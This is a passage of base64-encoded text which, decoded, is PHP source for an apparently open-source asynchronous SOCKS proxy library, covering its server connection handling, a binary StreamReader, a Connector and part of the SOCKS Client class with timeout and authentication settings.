AgfQovLyAgICAgICAgICAgICBpZiAoJGRhdGFbJ251bGwnXSAhPT0gMHgwMCkgewovLyAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignUmVzZXJ2ZWQgYnl0ZSBoYXMgdG8gYmUgTlVMTCcpOwovLyAgICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZGF0YVsndHlwZSddID09PSAweDAzKSB7CiAgICAgICAgICAgICAgICAvLyB0YXJnZXQgaG9zdG5hbWUgc3RyaW5nCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlYWRlci0+cmVhZEJ5dGUoKS0+dGhlbihmdW5jdGlvbiAoJGxlbikgdXNlICgkcmVhZGVyKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyZWFkZXItPnJlYWRMZW5ndGgoJGxlbik7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfSBlbHNlIGlmICgkZGF0YVsndHlwZSddID09PSAweDAxKSB7CiAgICAgICAgICAgICAgICAvLyB0YXJnZXQgSVB2NAogICAgICAgICAgICAgICAgcmV0dXJuICRyZWFkZXItPnJlYWRMZW5ndGgoNCktPnRoZW4oZnVuY3Rpb24gKCRhZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGluZXRfbnRvcCgkYWRkcik7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfSBlbHNlIGlmICgkZGF0YVsndHlwZSddID09PSAweDA0KSB7CiAgICAgICAgICAgICAgICAvLyB0YXJnZXQgSVB2NgogICAgICAgICAgICAgICAgcmV0dXJuICRyZWFkZXItPnJlYWRMZW5ndGgoMTYpLT50aGVuKGZ1bmN0aW9uICgkYWRkcikgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBpbmV0X250b3AoJGFkZHIpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgVW5leHBlY3RlZFZhbHVlRXhjZXB0aW9uKCdJbnZhbGlkIHRhcmdldCB0eXBlJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9KS0+dGhlbihmdW5jdGlvbiAoJGhvc3QpIHVzZSAoJHJlYWRlcikgewogICAgICAgICAgICByZXR1cm4gJHJlYWRlci0+cmVhZEJpbmFyeShhcnJheSgncG9ydCc9PiduJykpLT50aGVuKGZ1bmN0aW9uICgkZGF0YSkgdXNlICgkaG9zdCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KCRob3N0LCAkZGF0YVsncG9ydCddKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSktPnRoZW4oZnVuY3Rpb24gKCR0YXJnZXQpIHVzZSAoJHRoYXQsICRzdHJlYW0pIHsKICAgICAgICAgICAgcmV0dXJuICR0aGF0LT5jb25uZWN0VGFyZ2V0KCRzdHJlYW0sICR0YXJnZXQpOwogICAgICAgIH0sIGZ1bmN0aW9uKCRlcnJvcikgdXNlICgkc3RyZWFtKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb24oJ1NPQ0tTNSBwcm90b2NvbCBlcnJvcicsMCwkZXJyb3IpOwogICAgICAgIH0pLT50aGVuKGZ1bmN0aW9uIChTdHJlYW0gJHJlbW90ZSkgdXNlICgkc3RyZWFtKSB7CiAgICAgICAgICAgICRzdHJlYW0tPndyaXRlKHBhY2soJ0M0Tm4nLCAweDA1LCAweDAwLCAweDAwLCAweDAxLCAwLCAwKSk7CgogICAgICAgICAgICByZXR1cm4gJHJlbW90ZTsKICAgICAgICB9LCBmdW5jdGlvbihFeGNlcHRpb24gJGVycm9yKSB1c2UgKCRzdHJlYW0pewogICAgICAgICAgICAkY29kZSA9IDB4MDE7CiAgICAgICAgICAgICRzdHJlYW0tPmVuZChwYWNrKCdDNE5uJywgMHgwNSwgJGNvZGUsIDB4MDAsIDB4MDEsIDAsIDApKTsKCiAgICAgICAgICAgIHRocm93ICRlcnJvcjsKICAgICAgICB9KTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY29ubmVjdFRhcmdldChTdHJlYW0gJHN0cmVhbSwgYXJyYXkgJHRhcmdldCkKICAgIHsKICAgICAgICAkc3RyZWFtLT5lbWl0KCd0YXJnZXQnLCAkdGFyZ2V0KTsKICAgICAgICAkdGhhdCA9ICR0aGlzOwogICAgICAgIHJldHVybiAkdGhpcy0+Y29ubmVjdG9yLT5jcmVhdGUoJHRhcmdldFswXSwgJHRhcmdldFsxXSktPnRoZW4oZnVuY3Rpb24gKFN0cmVhbSAkcmVtb3RlKSB1c2UgKCRzdHJlYW0sICR0aGF0KSB7CiAgICAgICAgICAgIGlmICghJHN0cmVhbS0+aXNXcml0YWJsZSgpKSB7CiAgICAgICAgICAgICAgICAkcmVtb3RlLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignUmVtb3RlIGNvbm5lY3Rpb24gc3VjY2Vzc2Z1bGx5IGVzdGFibGlzaGVkIGFmdGVyIGNsaWVudCBjb25uZWN0aW9uIGNsb3NlZCcpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkc3RyZWFtLT5waXBlKCRyZW1vdGUsIGFycmF5KCdlbmQnPT5mYWxzZSkpOwogICAgICAgICAgICAkcmVtb3RlLT5waXBlKCRzdHJlYW0sIGFycmF5KCdlbmQnPT5mYWxzZSkpOwoKICAgICAgICAgICAgLy8gcmVtb3RlIGVuZCBjbG9zZXMgY29ubmVjdGlvbiA9PiBzdG9wIHJlYWRpbmcgZnJvbSBsb2NhbCBlbmQsIHRyeSB0byBmbHVzaCBidWZmZXIgdG8gbG9jYWwgYW5kIGRpc2Nvbm5lY3QgbG9jYWwKICAgICAgICAgICAgJHJlbW90ZS0+b24oJ2VuZCcsIGZ1bmN0aW9uKCkgdXNlICgkc3RyZWFtLCAkdGhhdCkgewogICAgICAgICAgICAgICAgJHN0cmVhbS0+ZW1pdCgnc2h1dGRvd24nLCBhcnJheSgncmVtb3RlJywgbnVsbCkpOwogICAgICAgICAgICAgICAgJHRoYXQtPmVuZENvbm5lY3Rpb24oJHN0cmVhbSk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgLy8gbG9jYWwgZW5kIGNsb3NlcyBjb25uZWN0aW9uID0+IHN0b3AgcmVhZGluZyBmcm9tIHJlbW90ZSBlbmQsIHRyeSB0byBmbHVzaCBidWZmZXIgdG8gcmVtb3RlIGFuZCBkaXNjb25uZWN0IHJlbW90ZQogICAgICAgICAgICAkc3RyZWFtLT5vbignZW5kJywgZnVuY3Rpb24oKSB1c2UgKCRyZW1vdGUsICR0aGF0KSB7CiAgICAgICAgICAgICAgICAkdGhhdC0+ZW5kQ29ubmVjdGlvbigkcmVtb3RlKTsKICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAvLyBzZXQgYmlnZ2VyIGJ1ZmZlciBzaXplIG9mIDEwMGsgdG8gaW1wcm92ZSBwZXJmb3JtYW5jZQogICAgICAgICAgICAkc3RyZWFtLT5idWZmZXJTaXplID0gJHJlbW90ZS0+YnVmZmVyU2l6ZSA9IDEwMCAqIDEwMjQgKiAxMDI0OwoKICAgICAgICAgICAgcmV0dXJuICRyZW1vdGU7CiAgICAgICAgfSwgZnVuY3Rpb24oRXhjZXB0aW9uICRlcnJvcikgewogICAgICAgICAgICB0aHJvdyBuZXcgVW5leHBlY3RlZFZhbHVlRXhjZXB0aW9uKCdVbmFibGUgdG8gY29ubmVjdCB0byByZW1vdGUgdGFyZ2V0JywgMCwgJGVycm9yKTsKICAgICAgICB9KTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIENsdWVcUmVhY3RcU29ja3M7Cgp1c2UgUmVhY3RcUHJvbWlzZVxEZWZlcnJlZDsKdXNlIFJlYWN0XFN0cmVhbVxTdHJlYW07CnVzZSBcSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uOwp1c2UgXFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbjsKCmNsYXNzIFN0cmVhbVJlYWRlcgp7CiAgICBjb25zdCBSRVRfRE9ORSA9IHRydWU7CiAgICBjb25zdCBSRVRfSU5DT01QTEVURSA9IG51bGw7CgogICAgcHJpdmF0ZSAkYnVmZmVyID0gJyc7CiAgICBwcml2YXRlICRxdWV1ZSA9IGFycmF5KCk7CgogICAgcHVibGljIGZ1bmN0aW9uIHdyaXRlKCRkYXRhKQogICAgewogICAgICAgICR0aGlzLT5idWZmZXIgLj0gJGRhdGE7CgogICAgICAgIGRvIHsKICAgICAgICAgICAgJGN1cnJlbnQgPSByZXNldCgkdGhpcy0+cXVldWUpOwoKICAgICAgICAgICAgaWYgKCRjdXJyZW50ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8qIEB2YXIgJGN1cnJlbnQgQ2xvc3VyZSAqLwoKICAgICAgICAgICAgJHJldCA9ICRjdXJyZW50KCR0aGlzLT5idWZmZXIpOwoKICAgICAgICAgICAgaWYgKCRyZXQgPT09IHNlbGY6OlJFVF9JTkNPTVBMRVRFKSB7CiAgICAgICAgICAgICAgICAvLyBjdXJyZW50IGlzIGluY29tcGxldGUsIHNvIHdhaXQgZm9yIGZ1cnRoZXIgZGF0YSB0byBhcnJpdmUKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gY3VycmVudCBpcyBkb25lLCByZW1vdmUgZnJvbSBsaXN0IGFuZCBjb250aW51ZSB3aXRoIG5leHQKICAgICAgICAgICAgICAgIGFycmF5X3NoaWZ0KCR0aGlzLT5xdWV1ZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IHdoaWxlICh0cnVlKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVhZEJpbmFyeSgkc3RydWN0dXJlKQogICAgewogICAgICAgICRsZW5ndGggPSAwOwogICAgICAgICR1bnBhY2sgPSAnJzsKICAgICAgICBmb3JlYWNoICgkc3RydWN0dXJlIGFzICRuYW1lPT4kZm9ybWF0KSB7CiAgICAgICAgICAgIGlmICgkbGVuZ3RoICE9PSAwKSB7CiAgICAgICAgICAgICAgICAkdW5wYWNrIC49ICcvJzsKICAgICAgICAgICAgfQogICAgICAgICAgICAkdW5wYWNrIC49ICRmb3JtYXQgLiAkbmFtZTsKCiAgICAgICAgICAgIGlmICgkZm9ybWF0ID09PSAnQycpIHsKICAgICAgICAgICAgICAgICsrJGxlbmd0aDsKICAgICAgICAgICAgfSBlbHNlIGlmICgkZm9ybWF0ID09PSAnbicpIHsKICAgICAgICAgICAgICAgICRsZW5ndGggKz0gMjsKICAgICAgICAgICAgfSBlbHNlIGlmICgkZm9ybWF0ID09PSAnTicpIHsKICAgICAgICAgICAgICAgICRsZW5ndGggKz0gNDsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oJ0ludmFsaWQgZm9ybWF0IGdpdmVuJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiAkdGhpcy0+cmVhZExlbmd0aCgkbGVuZ3RoKS0+dGhlbihmdW5jdGlvbiAoJHJlc3BvbnNlKSB1c2UgKCR1bnBhY2spIHsKICAgICAgICAgICAgcmV0dXJuIHVucGFjaygkdW5wYWNrLCAkcmVzcG9uc2UpOwogICAgICAgIH0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZWFkTGVuZ3RoKCRieXRlcykKICAgIHsKICAgICAgICAkZGVmZXJyZWQgPSBuZXcgRGVmZXJyZWQoKTsKCiAgICAgICAgJHRoaXMtPnJlYWRCdWZmZXJDYWxsYmFjayhmdW5jdGlvbiAoJiRidWZmZXIpIHVzZSAoJGJ5dGVzLCAkZGVmZXJyZWQpIHsKICAgICAgICAgICAgaWYgKHN0cmxlbigkYnVmZmVyKSA+PSAkYnl0ZXMpIHsKICAgICAgICAgICAgICAgICRkZWZlcnJlZC0+cmVzb2x2ZShzdWJzdHIoJGJ1ZmZlciwgMCwgJGJ5dGVzKSk7CiAgICAgICAgICAgICAgICAkYnVmZmVyID0gKHN0cmluZylzdWJzdHIoJGJ1ZmZlciwgJGJ5dGVzKTsKCiAgICAgICAgICAgICAgICByZXR1cm4gU3RyZWFtUmVhZGVyOjpSRVRfRE9ORTsKICAgICAgICAgICAgfQogICAgICAgIH0pOwoKICAgICAgICByZXR1cm4gJGRlZmVycmVkLT5wcm9taXNlKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlYWRCeXRlKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnJlYWRCaW5hcnkoYXJyYXkoCiAgICAgICAgICAgICdieXRlJyA9PiAnQycKICAgICAgICApKS0+dGhlbihmdW5jdGlvbiAoJGRhdGEpIHsKICAgICAgICAgICAgcmV0dXJuICRkYXRhWydieXRlJ107CiAgICAgICAgfSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlYWRCeXRlQXNzZXJ0KCRleHBlY3QpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5yZWFkQnl0ZSgpLT50aGVuKGZ1bmN0aW9uICgkYnl0ZSkgdXNlICgkZXhwZWN0KSB7CiAgICAgICAgICAgIGlmICgkYnl0ZSAhPT0gJGV4cGVjdCkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignVW5leHBlY3RlZCBieXRlIGVuY291bnRlcmVkJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICRieXRlOwogICAgICAgIH0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZWFkU3RyaW5nTnVsbCgpCiAgICB7CiAgICAgICAgJGRlZmVycmVkID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJHN0cmluZyA9ICcnOwoKICAgICAgICAkdGhhdCA9ICR0aGlzOwogICAgICAgICRyZWFkT25lID0gZnVuY3Rpb24gKCkgdXNlICgmJHJlYWRPbmUsICR0aGF0LCAkZGVmZXJyZWQsICYkc3RyaW5nKSB7CiAgICAgICAgICAgICR0aGF0LT5yZWFkQnl0ZSgpLT50aGVuKGZ1bmN0aW9uICgkYnl0ZSkgdXNlICgkZGVmZXJyZWQsICYkc3RyaW5nLCAkcmVhZE9uZSkgewogICAgICAgICAgICAgICAgaWYgKCRieXRlID09PSAweDAwKSB7CiAgICAgICAgICAgICAgICAgICAgJGRlZmVycmVkLT5yZXNvbHZlKCRzdHJpbmcpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkc3RyaW5nIC49IGNocigkYnl0ZSk7CiAgICAgICAgICAgICAgICAgICAgJHJlYWRPbmUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSk7CiAgICAgICAgfTsKICAgICAgICAkcmVhZE9uZSgpOwoKICAgICAgICByZXR1cm4gJGRlZmVycmVkLT5wcm9taXNlKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlYWRCdWZmZXJDYWxsYmFjaygvKiBjYWxsYWJsZSAqLyAkY2FsbGFibGUpCiAgICB7CiAgICAgICAgaWYgKCFpc19jYWxsYWJsZSgkY2FsbGFibGUpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oJ0dpdmVuIGZ1bmN0aW9uIG11c3QgYmUgY2FsbGFibGUnKTsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+cXVldWUpIHsKICAgICAgICAgICAgJHRoaXMtPnF1ZXVlIFtdPSAkY2FsbGFibGU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPnF1ZXVlID0gYXJyYXkoJGNhbGxhYmxlKTsKCiAgICAgICAgICAgIGlmICgkdGhpcy0+YnVmZmVyICE9PSAnJykgewogICAgICAgICAgICAgICAgLy8gdGhpcyBpcyB0aGUgZmlyc3QgZWxlbWVudCBpbiB0aGUgcXVldWUgYW5kIHRoZSBidWZmZXIgaXMgZmlsbGVkID0+IHRyaWdnZXIgd3JpdGUgcHJvY2VkdXJlCiAgICAgICAgICAgICAgICAkdGhpcy0+d3JpdGUoJycpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRCdWZmZXIoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YnVmZmVyOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgQ2x1ZVxSZWFjdFxTb2NrczsKCnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9ySW50ZXJmYWNlOwp1c2UgQ2x1ZVxSZWFjdFxTb2Nrc1xDbGllbnQ7CgpjbGFzcyBDb25uZWN0b3IgaW1wbGVtZW50cyBDb25uZWN0b3JJbnRlcmZhY2UKewogICAgcHJpdmF0ZSAkY2xpZW50OwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChDbGllbnQgJHNvY2tzQ2xpZW50KQogICAgewogICAgICAgICR0aGlzLT5jbGllbnQgPSAkc29ja3NDbGllbnQ7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jbGllbnQtPmdldENvbm5lY3Rpb24oJGhvc3QsICRwb3J0KTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIENsdWVcUmVhY3RcU29ja3M7Cgp1c2UgUmVhY3RcUHJvbWlzZVxXaGVuOwp1c2UgUmVhY3RcUHJvbWlzZVxEZWZlcnJlZDsKdXNlIFJlYWN0XERuc1xSZXNvbHZlclxGYWN0b3J5IGFzIERuc0ZhY3Rvcnk7CnVzZSBSZWFjdFxEbnNcUmVzb2x2ZXJcUmVzb2x2ZXI7CnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9yIGFzIFRjcENvbm5lY3RvcjsKdXNlIFJlYWN0XFN0cmVhbVxTdHJlYW07CnVzZSBSZWFjdFxFdmVudExvb3BcTG9vcEludGVyZmFjZTsKdXNlIFJlYWN0XFNvY2tldENsaWVudFxDb25uZWN0b3JJbnRlcmZhY2U7CnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcU2VjdXJlQ29ubmVjdG9yOwp1c2UgQ2x1ZVxSZWFjdFxTb2Nrc1xDb25uZWN0b3I7CnVzZSBcRXhjZXB0aW9uOwp1c2UgXEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbjsKdXNlIFxVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb247CgpjbGFzcyBDbGllbnQKewogICAgLyoqCiAgICAgKgogICAgICogQHZhciBDb25uZWN0b3JJbnRlcmZhY2UKICAgICAqLwogICAgcHJpdmF0ZSAkY29ubmVjdG9yOwoKICAgIC8qKgogICAgICoKICAgICAqIEB2YXIgUmVzb2x2ZXIKICAgICAqLwogICAgcHJpdmF0ZSAkcmVzb2x2ZXI7CgogICAgcHJpdmF0ZSAkc29ja3NIb3N0OwoKICAgIHByaXZhdGUgJHNvY2tzUG9ydDsKCiAgICBwcml2YXRlICR0aW1lb3V0OwoKICAgIC8qKgogICAgICogQHZhciBMb29wSW50ZXJmYWNlCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbG9vcDsKCiAgICBwcml2YXRlICRyZXNvbHZlTG9jYWwgPSB0cnVlOwoKICAgIHByaXZhdGUgJHByb3RvY29sVmVyc2lvbiA9IG51bGw7CgogICAgcHJvdGVjdGVkICRhdXRoID0gbnVsbDsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoTG9vcEludGVyZmFjZSAkbG9vcCwgJHNvY2tzSG9zdCwgJHNvY2tzUG9ydCwgQ29ubmVjdG9ySW50ZXJmYWNlICRjb25uZWN0b3IgPSBudWxsLCBSZXNvbHZlciAkcmVzb2x2ZXIgPSBudWxsKQogICAgewogICAgICAgIGlmICgkcmVzb2x2ZXIgPT09IG51bGwpIHsKICAgICAgICAgICAgLy8gZGVmYXVsdCB0byB1c2luZyBHb29nbGUncyBwdWJsaWMgRE5TIHNlcnZlcgogICAgICAgICAgICAkZG5zUmVzb2x2ZXJGYWN0b3J5ID0gbmV3IERuc0ZhY3RvcnkoKTsKICAgICAgICAgICAgJHJlc29sdmVyID0gJGRuc1Jlc29sdmVyRmFjdG9yeS0+Y3JlYXRlQ2FjaGVkKCc4LjguOC44JywgJGxvb3ApOwogICAgICAgIH0KICAgICAgICBpZiAoJGNvbm5lY3RvciA9PT0gbnVsbCkgewogICAgICAgICAgICAkY29ubmVjdG9yID0gbmV3IFRjcENvbm5lY3RvcigkbG9vcCwgJHJlc29sdmVyKTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5sb29wID0gJGxvb3A7CiAgICAgICAgJHRoaXMtPnNvY2tzSG9zdCA9ICRzb2Nrc0hvc3Q7CiAgICAgICAgJHRoaXMtPnNvY2tzUG9ydCA9ICRzb2Nrc1BvcnQ7CiAgICAgICAgJHRoaXMtPmNvbm5lY3RvciA9ICRjb25uZWN0b3I7CiAgICAgICAgJHRoaXMtPnJlc29sdmVyID0gJHJlc29sdmVyOwoKICAgICAgICAkdGhpcy0+dGltZW91dCA9IGluaV9nZXQoImRlZmF1bHRfc29ja2V0X3RpbWVvdXQiKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0VGltZW91dCgkdGltZW91dCkKICAgIHsKICAgICAgICAkdGhpcy0+dGltZW91dCA9ICR0aW1lb3V0OwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRSZXNvbHZlTG9jYWwoJHJlc29sdmVMb2NhbCkKICAgIHsKICAgICAgICBpZiAoJHRoaXMtPnByb3RvY29sVmVyc2lvbiA9PT0gJzQnICYmICEkcmVzb2x2ZUxvY2FsKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb24oJ1NPQ0tTNCByZXF1aXJlcyByZXNvbHZpbmcgbG9jYWxseS4gQ29uc2lkZXIgdXNpbmcgYW5vdGhlciBwcm90b2NvbCB2ZXJzaW9uIG9yIHJlc29sdmluZyBsb2NhbGx5Jyk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5yZXNvbHZlTG9jYWwgPSAkcmVzb2x2ZUxvY2FsOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRQcm90b2NvbFZlcnNpb24oJHZlcnNpb24pCiAgICB7CiAgICAgICAgaWYgKCR2ZXJzaW9uICE9PSBudWxsKSB7CiAgICAgICAgICAgICR2ZXJzaW9uID0gKHN0cmluZykkdmVyc2lvbjsKICAgICAgICAgICAgaWYgKCFpbl9hcnJheSgkdmVyc2lvbiwgYXJyYXkoJzQnLCAnNGEnLCAnNScpLCB0cnVlKSkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbignSW52YWxpZCBwcm90b2NvbCB2ZXJzaW9uIGdpdmVuJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCR2ZXJzaW9uICE9PSAnNScgJiYgJHRoaXMtPmF1dGgpewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignVW5hYmxlIHRvIGNoYW5nZSBwcm90b2NvbCB2ZXJzaW9uIHRvIGFueXRoaW5nIGJ1dCBTT0NLUzUgd2hpbGUgYXV0aGVudGljYXRpb24gaXMgdXNlZC4gQ29uc2lkZXIgcmVtb3ZpbmcgYXV0aGVudGljYXRpb24gaW5mbyBvciBzdGlja2luZyB0byBTT0NLUzUnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJHZlcnNpb24gPT09ICc0JyAmJiAhJHRoaXMtPnJlc29sdmVMb2NhbCkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignVW5hYmxlIHRvIGNoYW5nZSB0byBTT0NLUzQgd2hpbGUgcmVzb2x2aW5nIGxvY2FsbHkgaXMgdHVybmVkIG9mZi4gQ29uc2lkZXIgdXNpbmcgYW5vdGhlciBwcm90b2NvbCB2ZXJzaW9uIG9yIHJlc29sdmluZyBsb2NhbGx5Jyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHRoaXMtPnByb3RvY29sVmVyc2lvbiA9ICR2ZXJzaW9uOwogICAgfQoKICAgIC8qKgogICAgICogc2V0IGxvZ2luIGRhdGEgZm9yIHVzZXJuYW1lL3Bhc3N3b3JkIGF1dGhlbnRpY2F0aW9uIG1ldGhvZCAoUkZDMTkyOSkKICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICR1c2VybmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkcGFzc3dvcmQKICAgICAqIEBsaW5rIGh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzE5MjkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNldEF1dGgoJHVzZXJuYW1lLCAkcGFzc3dvcmQpCiAgICB7CiAgICAgICAgaWYgKHN0cmxlbigkdXNlcm5hbWUpID4gMjU1IHx8IHN0cmxlbigkcGFzc3dvcmQpID4gMjU1KSB7CiAgICAgICAgICAgIHRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oJ0JvdGggdXNlcm5hbWUgYW5kIHBhc3N3b3JkIE1VU1QgTk9UIGV4Y2VlZCBhIGxlbmd0aCBvZiAyNTUgYnl0ZXMgZWFjaCcpOwogICAgICAgIH0KICAgICAgICBpZiAoJHRoaXMtPnByb3RvY29sVmVyc2lvbiAhPT0gbnVsbCAmJiAkdGhpcy0+cHJvdG9jb2xWZXJzaW9uICE9PSAnNScpIHsKICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignQXV0aGVudGljYXRpb24gcmVxdWlyZXMgU09DS1M1LiBDb25zaWRlciB1c2luZyBwcm90b2NvbCB2ZXJzaW9uIDUgb3Igd2FpdmUgYXV0aGVudGljYXRpb24nKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmF1dGggPSBwYWNrKCdDMicsIDB4MDEsIHN0cmxlbigkdXNlcm5hbWUpKSAuICR1c2VybmFtZSAuIHBhY2soJ0MnLCBzdHJsZW4oJHBhc3N3b3JkKSkgLiAkcGFzc3dvcmQ7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHVuc2V0QXV0aCgpCiAgICB7CiAgICAgICAgJHRoaXMtPmF1dGggPSBudWxsOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGVTZWN1cmVDb25uZWN0b3IoKQogICAgewogICAgICAgIHJldHVybiBuZXcgU2VjdXJlQ29ubmVjdG9yKCR0aGlzLT5jcmVhdGVDb25uZWN0b3IoKSwgJHRoaXMtPmxvb3ApOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGVDb25uZWN0b3IoKQogICAgewogICAgICAgIHJldHVybiBuZXcgQ29ubmVjdG9yKCR0aGlzKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0Q29ubmVjdGlvbigkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgaWYgKHN0cmxlbigkaG9zdCkgPiAyNTUgfHwgJHBvcnQgPiA2NTUzNSB8fCAkcG9ydCA8IDApIHsKICAgICAgICAgICAgcmV0dXJuIFdoZW46OnJlamVjdChuZXcgSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uKCdJbnZhbGlkIHRhcmdldCBzcGVjaWZpZWQnKSk7CiAgICAgICAgfQogICAgICAgICRkZWZlcnJlZCA9IG5ldyBEZWZlcnJlZCgpOwoKICAgICAgICAkdGltZXN0YW1wVGltZW91dCA9IG1pY3JvdGltZSh0cnVlKSArICR0aGlzLT50aW1lb3V0OwogICAgICAgICR0aW1lclRpbWVvdXQgPSAkdGhpcy0+bG9vcC0+YWRkVGltZXIoJHRoaXMtPnRpbWVvdXQsIGZ1bmN0aW9uICgpIHVzZSAoJGRlZmVycmVkKSB7CiAgICAgICAgICAgICRkZWZlcnJlZC0+cmVqZWN0KG5ldyBFeGNlcHRpb24oJ1RpbWVvdXQgd2hpbGUgY29ubmVjdGluZyB0byBzb2NrcyBzZXJ2ZXInKSk7CiAgICAgICAgICAgIC8vIFRPRE86IHN0b3AgaW5pdGlhdGluZyBjb25uZWN0aW9uIGFuZCBETlMgcXVlcnkKICAgICAgICB9KTsKCiAgICAgICAgLy8gY3JlYXRlIGxvY2FsIHJlZmVyZW5jZXMgYXMgdGhlc2Ugc2V0dGluZ3MgbWF5IGNoYW5nZSBsYXRlciBkdWUgdG8gaXRzIGFzeW5jIG5hdHVyZQogICAgICAgICRhdXRoID0gJHRoaXMtPmF1dGg7CiAgICAgICAgJHByb3RvY29sVmVyc2lvbiA9ICR0aGlzLT5wcm90b2NvbFZlcnNpb247CgogICAgICAgIC8vIHByb3RvY29sIHZlcnNpb24gbm90IGV4cGxpY2l0bHkgc2V0PwogICAgICAgIGlmI